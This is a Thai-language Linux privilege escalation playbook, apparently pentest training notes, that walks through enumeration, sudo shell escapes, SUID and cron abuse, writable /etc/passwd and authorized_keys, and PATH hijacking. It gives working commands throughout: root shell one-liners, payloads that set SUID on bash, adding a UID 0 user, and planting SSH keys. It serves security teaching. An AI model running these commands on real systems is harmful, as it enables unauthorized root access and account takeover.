Linux Security

Linux Privilege Escalation Playbook

9 CHAPTERS · 18 NOTES

Introduction

Privilege Escalation คืออะไร และลำดับการเช็คที่ใช้ได้กับทุกเครื่อง

เข้าใจสถานการณ์ก่อน

สมมติว่าเรากำลังทำ Pentest บน Linux Server และพบช่องโหว่ Web App จนสามารถเข้าถึง Shellได้ แต่ shell ที่ได้เป็นแบบ www-data ซึ่งเป็น Service Account ท่ใช้รัน Web App ไม่ใช่ Root

Manual Enumeration และ LinPEAS

LinPEAS หรือ Linux Privilege Escalation Awesome Script เป็นเครื่องมือสำหรับ Automated Enumeration ที่ช่วยตรวจสอบการตั้งค่าระบบและค้นหาสิ่งที่อาจเกี่ยวข้องกับ Privilege Escalation

Initial Enumeration

id, uname -a, ss -tulnp แค่ไม่กี่คำสั่งก็รู้แล้วว่าเครื่องนี้มีอะไรบ้าง

ขั้นตอนในการทำความเข้าใจ Environment ทันทีหลังได้ Shell

สมมติว่าเรามี Web Application ทำงานอยู่บน Linux และเราได้รับ Shell ในบริบทของ Web Server

www-data@victim:/$

Who am i, and What am i working with?

id && whoami
uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data
Output Meanings
uid=33 User ID คือ 33
www-data Username ของ UID ดังกล่าว
gid=33 Primary Group ID
groups=33(www-data) กลุ่มที่ Process ปัจจุบันเป็นสมาชิก

UID คืออะไร ?

ตัวเลขเพื่อระบุตัวตนของผู้ใช้ในการควบคุมสิทธิ์

GID คืออะไร ?

ตัวเลขที่ระบุกลุ่มผู้ใช้ นำมาใช้ร่วมกับ UID

จากผลลัพท์ เราทราบว่ากำลังทำงานภายใต้ Service Account ชื่อ www-data มักใช้กับ Apache, Nginx

uname -a
Linux victim 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Output Meanings
Linux Kernel Name
victim Hostname
5.4.0-150-generic Kernel Release
#167-Ubuntu Kernel Build Information
SMP รองรับการทำงานแบบหลาย Processor
May 15 ... 2023 วันที่ Build Kernel
x86_64 สถาปัตยกรรม 64-bit
GNU/Linux Operating System Type

ทำไมต้องรู้ Kernel Version ?

เพราะช่องโหว่ระดับ Kernel มักมีเงื่อนไขเกี่ยวข้องกับ Version, Architecture, Kernel Configuration และ Security Patch

cat /etc/os-release
NAME="Ubuntu" VERSION="20.04.5 LTS (Focal Fossa)"
Field Value
Distribution Ubuntu
Version 20.04.5
Release Type LTS
Codename Focal Fossa

Users, Groups, and High-Value Memberships

ตรวจสอบ /etc/passwd

cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
bob:x:1000:1000::/home/bob:/bin/bash
alice:x:1001:1001::/home/alice:/bin/bash

โครงสร้างของ /etc/passwd

username:password:UID:GID:GECOS:home:shell

ตรวจสอบ High-Value Groups

cat /etc/group | grep -E "sudo|docker|lxd|adm|disk"
sudo:x:27:bob
docker:x:999:
adm:x:4:syslog,bob 

โครงสร้างของ /etc/passwd

username:password:UID:GID:GECOS:home:shell

Internal Services and Exposed Ports

สำรวจ network services ที่ทำงานในเครื่อง

ss -tlnp

ss (Socket Statistics)

State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
LISTEN  0       128     127.0.0.1:3306     0.0.0.0:*
LISTEN  0       128     0.0.0.0:22         0.0.0.0:*
LISTEN  0       128     0.0.0.0:80         0.0.0.0:*
Address Port Service ที่คาดว่าเป็น Binding
127.0.0.1 3306 MySQL Loopback
0.0.0.0 22 SSH ทุก IPv4 Interface
0.0.0.0 80 HTTP ทุก IPv4 Interface

Credentials in Environments Variables and Shell History

ตรวจสอบ Environments Variables

env | grep -iE "pass|secret|key|token|db"
DB_PASSWORD=[REDACTED]

Shell History คืออะไร

ประวัติคำสั่งที่ผู้ใช้เคยรันผ่าน shell (History Files อาจไม่ได้มีทุกคำสั่งที่เคยรัน ขึ้นกับ Shell Configuration, History Settings)

ตรวจสอบ Shell History

cat /home/bob/.bash_history 2>/dev/null | head -20
mysql -u root -pR00tMySQL2023!  //เคยระบุ Database Credential
ls -la /opt/backup/  //เคยตรวจ Backup History
sudo systemctl restart nginx  //พยายามจัดการNginx ผ่าน sudo

Sudo Misconfiguration

sudo -l บอกอะไรได้บ้าง และทำไม NOPASSWD บรรทัดเดียวก็พอให้ได้ root

Sudo คืออะไร?

sudo = super user do อนุญาตให้ผู้ใช้งานสามารถรันคำสั่งในนามของผู้ใช้งานคนอื่น ปกติจะเป็น Root

ตรวจสอบสิทธิ์ sudo

sudo -l
bob@victim:~$ sudo -l

Matching Defaults entries for bob on victim:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:
    /usr/sbin:/usr/bin:/sbin:/bin

User bob may run the following commands on victim:

    (ALL : ALL) NOPASSWD: /usr/bin/vim

    (root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py

    (ALL) NOPASSWD: /usr/bin/less /var/log/nginx/*.log

วิเคราะห์ Matching Defaults

Configuration Meanings
env_reset Reset Environment Variables ส่วนใหญ่ก่อนรันคำสั่ง
mail_badpass แจ้งเตือนทางอีเมลเมื่อใส่รหัสผ่าน sudo ผิด ตามการตั้งค่าระบบ
secure_path กำหนด PATH ที่ใช้สำหรับคำสั่งผ่าน sudo

วิเคราะห์ส่วน User Permissions

Parameter Meanings
(ALL : ALL) สามารถรันในนาม User และ Group ใดก็ได้
(root) สามารถรันในนาม root
(ALL) สามารถรันในนาม User ใดก็ได้
NOPASSWD ไม่จำเป็นต้องยืนยันด้วยรหัสผ่าน
/usr/bin/vim โปรแกรมที่ได้รับอนุญาต
*.log Wildcard สำหรับจับคู่ Argument
Attack Surface 3 จุด: vim, python3, less

Shell Escape ผ่าน Sudo vim

หัวข้อย่อยใน Sudo Misconfiguration

หลักการ

vim เป็น text editor สามารถเรียก system call และสร้าง child process

ตัวอย่าง

sudo vim -c ':!/bin/bash'
คำสั่ง หน้าที่
sudo เรียกโปรแกรมด้วยสิทธิ์ตาม sudo policy
vim เปิดโปรแกรม Vim
-c ให้ Vim execute คำสั่งหลังเริ่มทำงาน
:! เรียก External Shell Command
/bin/bash โปรแกรม Bash Shell

ทำไมถึงได้ Shell ?

User: bob (UID = 1000) -> sudo -> Vim process (Running as root) -> Child Process: Bash vim ถูกเรียกผ่าน sudo ตัว Process ของ Vim จะทำงานด้วยสิทธิ์ของ Root เมื่อ vim สร้าง child process ขึ้นมา processนั้น จะสืบทอดสิทธิ์จาก Parent

Root Cause

Administrator ให้สิทธิ์กับโปรแกรมทั้งตัว แทนที่จะจำกัดเฉพาะดำเนินงานเท่าที่ผู้ใช้จำเป็นต้องทำ

Wildcard in Sudo Path

หัวข้อย่อยใน Sudo Misconfiguration

พิจารณา Sudo Entry

(ALL) NOPASSWD: /usr/bin/less /var/log/nginx/*.log

Administrator ต้องการให้ bob สามารถอ่าน log ของ Nginx ได้ โดยไม่ต้องใช้ Root ทั้งระบบ

Wildcard

เป็นรูปแบบสำหรับจับคู่ข้อความหรือชื่อไฟล์ เช่น *, ?, [abc]

ปัญหาของ Config นี้

  1. wildcard อาจอนุญาต Argument มากกว่าที่ Administrator ตั้งใจ
  2. Less มีความสามารถในการเรียก External Shell Command

ตัวอย่าง

Step 1 - เปิดโปรแกรม less ด้วยสิทธิ์ root

sudo /usr/bin/less /var/log/nginx/access.log

เมื่อคำสั่งนี้ได้รับอนุญาต ตัว Process ของ less จะทำงานด้วยสิทธิ์ root

Step 2 - Shell Escape

!/bin/bash

เป็นคำสั่งภายในโปรแกรม less

ส่วนประกอบ ความหมาย
! ความสามารถของ less สำหรับเรียก External Shell Command
/bin/bash ตำแหน่งของโปรแกรม Bash Shell

Writable Script in Sudo Entry

หัวข้อย่อยใน Sudo Misconfiguration

พิจารณา Sudo Entry

(root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py

bob สามารถเรียก python3 เพื่อ execute ไฟล์ backup.py ในฐานะ Root

ตัวอย่าง

Step 1 - ตรวจสอบ File Permission

ls -la /opt/scripts/backup.py
-rwxrwxrwx 1 root root 512 May 10 08:14 /opt/scripts/backup.py

วิเคราะห์ Permission

Permission ความหมาย
r Read
w Write
x Execute
root root Owner และ Group คือ root
777 ทุกคนสามารถอ่าน เขียน และ Execute ได้
Step 2 - วิเคราะห์ Trust Boundary
bob(UID 1000) แก้ไข -> backup.py (Permission 777) -> sudo python3 backup.py (as root) -> Privileged Code Execution

Step 3 - Append Payload ลงใน Script

echo 'import os; os.system("chmod u+s /bin/bash")' >> /opt/scripts/backup.py

ขั้นตอนนี้ยังไม่ได้เปลี่ยน Permission ของ /bin/bash เพราะเป็นเพียงการเพิ่ม Source Code

Step 4 - Trigger Script via Sudo

sudo /usr/bin/python3 /opt/scripts/backup.py

การเปลี่ยน Permission ไม่ใช่ Process ของ Bob โดยตรง แต่เป็นคำสั่งที่ถูกเรียกจาก Python Process ซึ่งทำงานด้วยสิทธิ์ Root

Step 5 - ตรวจสอบสิทธิ์ของ Bash

ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash

SUID คืออะไร?

SUID ย่อมาจาก Set User ID เป็น special permission ซึ่งทำให้ process สามารถทำงานด้วย Effective UID ของเจ้าของ Executable

Step 6 - Understanding Bash Privileged Mode

/bin/bash -p

รักษา Effective UID ที่ Process ได้รับมา เพราะปกติ Bash มี Security Mechanism ที่สามารถลดสิทธิ์ของตัวเองเมื่อพบว่า Real UID และ Effective UID แตกต่างกัน

Step 7 - ตรวจสอบสิทธิ์ id

id
uid=1000(bob) gid=1000(bob) euid=0(root) groups=1000(bob)

SUID / SGID Binary Abuse

วิเคราะห์โปรแกรมที่ทำงานด้วยสิทธิ์ของเจ้าของไฟล์

กำหนด File Permission ให้โปรแกรมสามารถทำงานด้วยสิทธิ์ของเจ้าของไฟล์ แทนที่จะใช้สิทธิ์ของผู้เรียกโปรแกรมเพียงอย่างเดียว

Finding SUID Binaries

เช็คว่ามีโปรแกรมไหนบ้างที่ถูกกำหนด SUID

find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/find
/usr/local/bin/python3.8
/usr/bin/su
/bin/mount
/usr/bin/chsh

จากผลลัพท์ สังเกตว่า มีสองโปรแกรมที่ไม่จำเป็นต้องมีสิทธิ์ Root คือ find และ python3.8

ตรวจสอบเพิ่มเติม

ls -la /usr/bin/find /usr/local/bin/python3.8
-rwsr-xr-x 1 root root 220768 /usr/bin/find
-rwsr-xr-x 1 root root 5457448 /usr/local/bin/python3.8

ทั้งสองไฟล์มี root เป็น owner และมี SUID bit

  • Exploit: SUID find find มีหน้าที่ค้นหา แต่มี option ที่ชื่อ -exec ซึ่งสามารถเรียกโปรแกรมอื่นสำหรับค้นหาได้

    ตัวอย่าง

/usr/bin/find . -exec /bin/sh -p \; -quit
ปัญหาเกิดจาก find มี SUID root และสามารถสร้าง child process ได้
เมื่อ www-data เรียก find ระบบจะใช้ execve()  เพื่อโหลด executable ขึ้นมาทำงาน UID ยังเป็นของ www-data แต่ effective UID เปลี่ยนเป็น 0 เพราะเจ้าของ find คือ root และมี SUID
  • Exploit: SUID Python เมื่อ python มี SUID root ความสามารถในการ อ่านไฟล์ เขียนไฟล์ สร้างProcess ละติดต่อกับ Linux Kernel ผ่าน system call

    ตรวจสอบ Permission

ls -la /usr/local/bin/python3.8
-rwsr-xr-x 1 root root 5457448 Apr 15 2023 /usr/local/bin/python3.8
**ตัวอย่าง**
/usr/local/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
**ทำความเข้าใจ** `os.setuid(0)` 
เป็นการร้องขอให้ Kernel เปลี่ยน UID ของ Process เป็น 0 Python ซึ่งสามารถเรียก Function นี้ได้ตามตัวอย่าง ทำไมผู้ใช้หลายคนถึงไม่กลายเป็น root ได้ทุกคน เพราะ Kernel จะตรวจสอบสิทธิ์ของ Process ที่ได้รับอนุญาต

**case Python ปกติ: 
Real UID      = 33
Effective UID = 33
Saved UID     = 33

**case Python SUID root: 
Real UID      = 33
Effective UID = 0
Saved UID     = 0

**Saved UID คืออะไร**
Saved Set-user-ID ระบบเก็บไว้เพื่อรองรับการสลับ Effective UID ภายใต้เงื่อนไขที่ Kernel  อนุญาต

**เช็ค id**
id
uid=0(root) gid=33(www-data) groups=33(www-data)

Cron Jobs and Writable Scripts

สคริปต์ที่ root รันทุกนาที แต่ user ธรรมดาแก้ได้ จะหาเจอได้ยังไง

เทคนิคนี้เป็นเกิดจากการกำหนด Cron Job ให้ทำงานได้ด้วยสิทธิ์ rootแต่ไฟล์ script ที่ Cron Job เรียกใช้งานสามารถถูกแก้ไขโดยผู้ใช้ที่มีสิทธิ์ต่ำได้

แตกต่างจาก SUID SGID Binary Abuse ที่ user เรียก Exeเพื่อให้ได้รับ Effective UID ของเจ้าของไฟล์โดยตรง กรณี Cron Job เป็นการที่ Process ที่มีสิทธิ์สูงเรียกใช้งานไฟล์ที่ผู้ใช้สิทธิ์ต่ำสามารถควบคุมได้

Cron Job คืออะไร?

Service บน Linux ทำหน้าที่เรียกคำสั่งหรือScript ตามเวลาที่กำหนดแบบ Auto

ทำไม Cron Job ถึง Privilege Escalation ได้?

ตัวอย่างว่าadmin ระบบกำหนด Cron Job ดังนี้

* * * * * root /opt/cleanup.sh

ซึ่งหมายความว่าทุกนาที Cron จะเรียก /opt/cleanup.sh ด้วยสิทธิ์ของ root

เมื่อลองเช็ค Permission ของ Script

ls -la /opt/cleanup.sh
-rwxrwxrwx 1 root root 142 Mar 11 12:05 /opt/cleanup.sh

Initial Enumeration

Step 1 - ตรวจสอบสิทธิ์ของตัวเอง

id
whoami

Step 2 - ตรวจสอบ Cron Service

systemctl status cron

หรือดูจาก Running Processes

ps aux | grep -E '[c]ron|[c]rond'

Locating Cron Jobs

Step 1 - ตรวจสอบ System Crontab

cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root /opt/cleanup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly

Step 2 - ตรวจสอบ /etc/cron.d/

ls -la /etc/cron.d/
php
monitor

อ่านConfig ของ monitor

cat /etc/cron.d/monitor
*/5 * * * * root /usr/local/bin/monitor.py

Step 3 - ตรวจตำแหน่งอื่นๆ

Location หน้าที่
/etc/crontab System-wide Cron Jobs
/etc/cron.d/ Cron Configuration แยกตามงาน
/etc/cron.hourly/ Script สำหรับงานรายชั่วโมง
/etc/cron.daily/ Script สำหรับงานรายวัน
/etc/cron.weekly/ Script สำหรับงานรายสัปดาห์
/etc/cron.monthly/ Script สำหรับงานรายเดือน
/var/spool/cron/ Per-user Crontabs ในบาง Distribution
/var/spool/cron/crontabs/ Per-user Crontabs บน Debian-based systems

Step 4 - ตรวจ Permission ของ Script

ls -la /opt/cleanup.sh /usr/local/bin/monitor.py
-rwxrwxrwx 1 root root  142 Mar 11 12:05 /opt/cleanup.sh
-rwxr-xr-x 1 root root 1024 Mar  8 09:31 /usr/local/bin/monitor.py

Injecting the Payload

วิเคราะห์ Script ที่ถูกเรียก

cat /opt/cleanup.sh
#!/bin/bash

find /tmp -mtime +1 -delete
find /var/log -name "*.tmp" -delete

อธิบาย Command

คำสั่งที่ 1 - ใช้ระบุ Interpreter ที่ระบบจะใช้ประมวลผล Script

#!/bin/bash 

คำสั่งที่ 2

find /tmp -mtime +1 -delete
Component Meanings
find โปรแกรมค้นหาไฟล์
/tmp Directory ที่ต้องการค้นหา
-mtime +1 ค้นหารายการที่มี Modification Time เกินหนึ่งหน่วยเวลา 24 ชั่วโมงแบบปัดเศษลง
-delete ลบรายการที่ตรงตามเงื่อนไข
คำสั่งที่ 3 - ค้นหารายการที่มีชื่อลงท้ายด้วย .tmp ภายใน /var/log และลบรายการที่ตรงตามเงื่อนไข เพื่อ Cleanup ระบบ แต่มีการกำหนด File Permission ไม่เหมาะสม
find /var/log -name "*.tmp" -delete

Understanding Payload

echo 'cp /bin/bash /tmp/.bash && chmod u+s /tmp/.bash' >> /opt/cleanup.sh
Component หน้าที่
echo ส่งข้อความออกทาง Standard Output
>> Append ข้อมูลต่อท้ายไฟล์
cp คัดลอกไฟล์
&& เรียกคำสั่งถัดไปเมื่อคำสั่งก่อนหน้าสำเร็จ
chmod u+s กำหนด SUID bit ให้ไฟล์
/bin/bash Bash Executable
-p Privileged Mode ของ Bash
แตกต่างจาก SUID SGID Binary Abuse ไม่ใช่ต้นตอ แต่เกิดจาก Scheduled Task มีความสามารถในการดำเนินการสูง

Catching Processes in Real Time with pspy

ทำไมถึงใช้ pspy?

บางครั้งตรวจสอบ/etc/crontab แล้วไม่พบ Cron Job แต่อาจยังมี Scheduled Task ทำงานอยู่ สาเหตุเกิดจาก Per-user Crontab ที่เราไม่มีสิทธิ์อ่าน

pspy เป็นเครื่องมือสำหรับสังเกต Process ที่เกิดขึ้นบน Linux โดยไม่จำเป็นต้องมีสิทธิ์ root ในหลายสภาพแวดล้อม

ตรวจสอบ Architecture

uname -m

Output ของ pspy

2026/06/14 21:00:01 CMD: UID=0 PID=1512 | /bin/sh -c /opt/cleanup.sh
2026/06/14 21:00:01 CMD: UID=0 PID=1513 | /bin/bash /opt/cleanup.sh
2026/06/14 21:00:01 CMD: UID=0 PID=1514 | find /tmp -mtime +1 -delete

สามารถไล่ Tree ได้

Cron Daemon(ตรวจตารางเวลา) -> /bin/sh -c /opt/cleanup.sh -> /bin/bash /opt/cleanup.sh -> find /tmp -mtime +1 -delete

การพบ UID=0 เป็นหลักฐานประกอบว่า Script ถูกประมวลผลในบริบทของ root แต่ควรตรวจสอบ Process Credentials เพิ่มเติมเมื่อสามารถทำได้

Weak File Permissions

/etc/passwd หรือ /etc/shadow ที่ไม่ควรเขียน/อ่านได้ แต่ดันได้

การกำหนดสิทธิ์ในการเข้าถึงไฟล์หรือ Directory ไม่เหมาะสม ทำให้ผู้ใช้ที่มีสิทธิ์ต่ำสามารถอ่าน แก้ไข หรือควบคุมข้อมูลสำคัญที่ไม่ควรเข้าถึงได้

แบ่งออกเป็น 3 กรณีหลัก

Target Misconfiguration Potential Impact
/etc/shadow Readable Password Hash Exposure
/etc/passwd Writable Account Manipulation
authorized_keys Writable Unauthorized SSH Access

อธิบาย การจัดเก็บบัญชีและข้อมูล Authentication ไว้ที่ไหน

File หน้าที่ Permission ที่พบโดยทั่วไป
/etc/passwd เก็บข้อมูลบัญชีผู้ใช้ 0644
/etc/shadow เก็บ Password Hash และ Password Policy 0640 หรือ 0600
/etc/group เก็บข้อมูล Group 0644
/etc/gshadow เก็บข้อมูล Group ที่ต้องป้องกัน 0640 หรือ 0600
~/.ssh/authorized_keys เก็บ Public Key ที่ได้รับอนุญาต 0600
~/.ssh/ Directory สำหรับ SSH Configuration 0700

Readable /etc/shadow — Offline Hash Cracking


Step 1 - ตรวจสอบสิทธิ์ของ /etc/shadow

ls -la /etc/shadow
-rw-rw-r-- 1 root shadow 1320 Jun 14 11:23 /etc/shadow

ปัญหาอยู่ที่ Others มี Read Permission ทำให้ผู้ใช้ทั่วไปสามารถอ่านข้อมูล Password Hash ได้


Step 2 - ตรวจข้อมูลภายใน

cat /etc/shadow | grep root
root:$6$xyz123$LONGHASHHERE:19500:0:99999:7:::
Field Value ความหมาย
1 root Username
2 $6$xyz123$LONGHASHHERE Password Hash
3 19500 วันที่เปลี่ยน Password ล่าสุด นับจาก Unix Epoch เป็นวัน
4 0 Minimum Password Age
5 99999 Maximum Password Age
6 7 Password Expiration Warning
7 ว่าง Password Inactivity Period
8 ว่าง Account Expiration Date
9 ว่าง Reserved Field

Step 3 - Offline Hash Cracking

ใช้อะไรก็ได้


Writable /etc/passwd Add a Root User


Step 1 - ตรวจสอบ Permission

ls -la /etc/passwd
-rw-rw-rw- 1root root 2413 Jun 8 09:41 /etc/passwd

Step 2 - โครงสร้าง /etc/passwd

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
bob:x:1000:1000:Bob:/home/bob:/bin/bash

อธิบาย Password Field

Value ความหมาย
x ใช้ข้อมูล Password จาก /etc/shadow ตามระบบ Authentication ปกติ
! Password Authentication ถูก Lock
* ไม่ใช่ Password ที่สามารถใช้ตรวจสอบตามปกติ

Step 3 - ลองสร้างบัญชีใหม่ที่มี UID เป็น 0 และกำหนด Password ของบัญชีนั้นเอง โดยไม่ต้องหาroot password

  • 3.1 Generate a Password Hash
openssl passwd -1 hacked123
	$1$sAlTsAlT$KNmVfYBMVBuLSDUKKgPH01
  • 3.2 Append a New Root-level User
echo 'r00t:$1$sAlTsAlT$KNmVfYBMVBuLSDUKKgPH01:0:0:root:/root:/bin/bash' >> /etc/passwd
  • 3.2 Substitute User
www-data@victim:/$ su r00t  
Password: hacked123

เทคนิคนี้ไม่ได้เปลี่ยนรหัสผ่านของ root เดิม แต่พยายามสร้างบัญชีอีกบัญชีหนึ่งที่มี Numeric UID เท่ากับ root และมีข้อมูล Authentication ที่ผู้สร้างบัญชีกำหนดเอง

Root Cause: คือผู้ใช้สิทธิ์ต่ำสามารถแก้ไขไฟล์ที่ระบบใช้เป็นแหล่งข้อมูลบัญชีผู้ใช้ได้

Writable SSH Authorized Keys

SSH Public Key Authentication คืออะไร?

ใช้ Key Pair ประกอบด้วย Private Key (เก็บไว้ที่ตัวเอง), Public Key(นำไปลงทะเบียนที่ Server)

Locating Writable Authorized Keys

find /home -name "authorized_keys" -writable 2>/dev/null

Understanding ssh-keygen

Option หน้าที่
-t ระบุประเภท Key Algorithm
ed25519 Digital Signature Algorithm
-f ระบุชื่อและตำแหน่งไฟล์ Key
-N ระบุ Passphrase สำหรับ Private Key
เมื่อสร้างเสร็จจะได้ 2 file
example_key
example_key.pub

ทำไมถึงเป็นช่องโหว่

เนื่องจาก authorized_keys เป็นข้อมูลที่ SSH Server ใช้ตัดสินใจว่า Public Key ใดได้รับอนุญาตให้ Authentication เป็นบัญชีหนึ่ง

หากผู้ใช้ที่ไม่ได้รับอนุญาตสามารถแก้ไขไฟล์นี้ได้ ก็อาจควบคุมข้อมูลได้

หลังจาก Enum


Step 1 - Generate SSH Key Pair (Attacker Machine)

kali@attacker:~$ ssh-keygen -t ed25519 -f /tmp/privesc_key -N ''

Step 2 - Retrieve Public Key

cat /tmp/privesc_key.pub

Step 3 - Key Manipulation (Victim Machine)

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGhIjKlMnOpQrStUvWxYz0123456789' \  
>> /home/bob/.ssh/authorized_keys

PATH Hijacking

สคริปต์เรียก tar แทน /bin/tar แล้วเราคุม PATH ได้ จะเกิดอะไรขึ้น

เป็นเทคนิค Linux Privilege Escalation ที่เกิดจากโปรแกรมที่มีสิทธิ์สูง เช่น SUID Binary, Sudo Script หรือ Root Cron Job เรียกใช้โปรแกรมอื่นโดยไม่ได้ระบุ Absolute Path และมีการค้นหา Executable ผ่าน PATH ที่ไม่น่าเชื่อถือ

ปัญหาคือโปรแกรมที่มีสิทธิ์สูงอาจเรียกใช้งาน Executable ผิดตัว โดย Executable นั้นอยู่ภายใต้การควบคุมของผู้ใช้สิทธิ์ต่ำ

PATH คืออะไร?

PATH เป็น Environment Variable ที่เก็บรายการ Directory ที่ Shell และฟังก์ชันบางประเภทใช้ค้นหา Executable เมื่อมีการเรียกคำสั่งโดยไม่ระบุ Path

ตรวจสอบ Path ของผู้ใช้

echo "$PATH"
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Absolute Path vs Relative Path vs Command Name

ตัวอย่าง ประเภท ค้นหาผ่าน PATH
/usr/sbin/service Absolute Path ไม่
/usr/bin/ps Absolute Path ไม่
./service Relative Path ไม่
../bin/service Relative Path ไม่
service Bare Command Name ใช่ ในกลไกที่รองรับ PATH lookup
ps Bare Command Name ใช่ ในกลไกที่รองรับ PATH lookup

ทำไม PATH Hijacking ถึงเกิด Privilege Escalation ได้?

สมมติว่ามีโปรแกรมชื่อ syscheck ซึ่งให้ adminกำหนดให้เป็น SUID root

ภายในโปรแกรมเรียกคำสั่งดังนี้

system("service nginx status");

แทนที่จะระบุ Absolute Path เช่น

system("/usr/sbin/service nginx status");

หาก PATH มี Directory ที่ผู้ใช้ทั่วไปสามารถควบคุมได้ และ Directory ดังกล่าวถูกค้นหาก่อนตำแหน่งของโปรแกรมจริง ก็จะเกิดความเสี่ยงในการเรียก Executable ผิดตัว

Step 1 - Initial Enumeration ตรวจสอบสิทธิ์

id
whoami

ค้นหา SUID Binaries

find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/usr/local/bin/syscheck

จากผลลัพธ์พบ /usr/local/bin/syscheck ซึ่งเป็น Custom Binary ที่ไม่ใช่โปรแกรมมาตรฐานที่พบทั่วไป จึงควรตรวจสอบหน้าที่และ Permission เพิ่มเติม


Step 2 - Inspect SUID Binary ตรวจสอบ Permission

ls -la /usr/local/bin/syscheck
-rwsr-xr-x 1 root root 8432 May 22 10:11 /usr/local/bin/syscheck

ตรวจเพิ่ม

file /usr/local/bin/syscheck
ELF 64-bit LSB executable, x86-64, dynamically linked

หมายความว่า syscheck เป็น Compiled Executable ในรูปแบบ ELF ไม่ใช่ Shell Script ที่สามารถอ่าน Source Code ด้วย cat ได้โดยตรง


Step 3 - Analyze Binary with Strings เมื่อไม่มี Source Code ของโปรแกรม สามารถใช้ strings

strings /usr/local/bin/syscheck | grep -v "^[A-Z_]" | head -20
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
ps aux
service nginx status
System check complete.

สิ่งที่น่าสนใจ

ps aux
service nginx status

ทั้งสองคำสั่งไม่ได้ระบุ Absolute Path


Step 4 - Analyze PATH Environment ตรวจสอบ PATH ของผู้ใช้ปัจจุบัน

echo "$PATH"

แสดงแต่ละ Directory แยกบรรทัดเพื่อให้อ่านง่ายขึ้น

printf '%s\n' "$PATH" | tr ':' '\n'
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin

ตรวจสอบ Permission ของ Directory และ Executable

ls -ld /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin

สิ่งที่ต้องพิจารณาคือ Directory ใดอยู่ก่อนตำแหน่ง Executable จริง และมี Directory ใดที่ผู้ใช้ทั่วไปสามารถเขียนได้หรือไม่


Step 5 - Create a malicious "Service" binary in /tmp ใช้เทคนิค "Heredoc"

www-data@victim:/$ cat > /tmp/service << 'EOF'  
#!/bin/bash  
cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash  
EOF
www-data@victim:/$ chmod +x /tmp/service

Step 6 - Run the SUID binary

www-data@victim:/$ /usr/local/bin/syscheck  
Checking processes...  
System check complete.

มันจะเรียก service ที่เราสร้างขึ้นก่อน


Step 7 - เช็คไฟล์ /tmp/.rootbash

-rwsr-xr-x 1 root root 1183448 Jun 14 21:12 /tmp/.rootbash

มี owner เป็น root, มี SUID bit, ผู้ใช้ทั่วไปมี Execute Permission


Step 8 - เรียก Bash พร้อม -p (Privilege Mode)

www-data@victim:/$ /tmp/.rootbash -p

Step 9 - Privilege Escalation

id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

Root Cause ของเทคนิคนี้ไม่ใช่คำสั่ง cp, chmod หรือ Bash แต่เป็นการที่ Privileged Program ค้นหาและเรียกใช้งาน Executable จาก PATH ที่ไม่น่าเชื่อถือ

Linux Capabilities

getcap -r / เจอ cap_setuid บน python ไม่ต้องมี SUID ก็ยกสิทธิ์ได้

Linux Capabilities เป็นกลไกด้านความปลอดภัยของ Linux ที่แบ่งสิทธิ์ของ root ออกเป็นสิทธิ์ย่อย ๆ เพื่อให้ Process สามารถทำงานบางอย่างที่ต้องใช้สิทธิ์สูงได้ โดยไม่จำเป็นต้องได้รับสิทธิ์ root ทั้งหมด

SUID vs Linux Capabilities

Attribute SUID root Linux Capabilities
กลไก เปลี่ยน Effective UID เพิ่มสิทธิ์เฉพาะด้าน
Real UID อาจยังเป็นผู้ใช้เดิม ยังเป็นผู้ใช้เดิม
Effective UID อาจเป็น 0 ไม่จำเป็นต้องเป็น 0
ขอบเขตสิทธิ์ สิทธิ์ตาม Privileged Identity ตาม Capability ที่ได้รับ
Enumeration Tool find getcap
Configuration Tool chmod setcap

Important Linux Capabilities

Capability หน้าที่ ความเสี่ยงเมื่อกำหนดไม่เหมาะสม
CAP_SETUID เปลี่ยน User ID ของ Process Privileged Identity Manipulation
CAP_SETGID เปลี่ยน Group ID Group Privilege Escalation
CAP_DAC_OVERRIDE ข้ามการตรวจสอบ Unix File Permissions Unauthorized File Access
CAP_DAC_READ_SEARCH ข้ามข้อจำกัดด้านการอ่านและ Directory Search Sensitive Data Exposure
CAP_SYS_ADMIN ดำเนินการด้าน System Administration หลายประเภท Broad Administrative Access
CAP_SYS_PTRACE ตรวจสอบและควบคุม Process อื่นตามเงื่อนไข Process Manipulation
CAP_SYS_MODULE Load และ Unload Kernel Modules Kernel-level Impact
CAP_SYS_CHROOT เปลี่ยน Root Directory ของ Process Isolation-related Risk
CAP_SYS_NICE จัดการ Process Priority และ Scheduling Resource Manipulation
CAP_SYS_TIME เปลี่ยน System Clock Timestamp Manipulation
CAP_SYS_RESOURCE ข้ามหรือปรับ Resource Limits บางประเภท Resource Control
CAP_NET_BIND_SERVICE Bind Privileged Ports Network Service Access
CAP_NET_RAW ใช้งาน Raw และ Packet Sockets Raw Network Access

Effective, Permitted, Inheritable?

Linux แบ่ง Process Capabilities ออกเป็นหลายชุด

